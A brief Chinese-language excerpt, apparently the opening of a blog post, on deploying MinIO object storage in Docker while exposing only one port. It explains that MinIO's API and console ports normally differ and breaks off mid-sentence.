MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...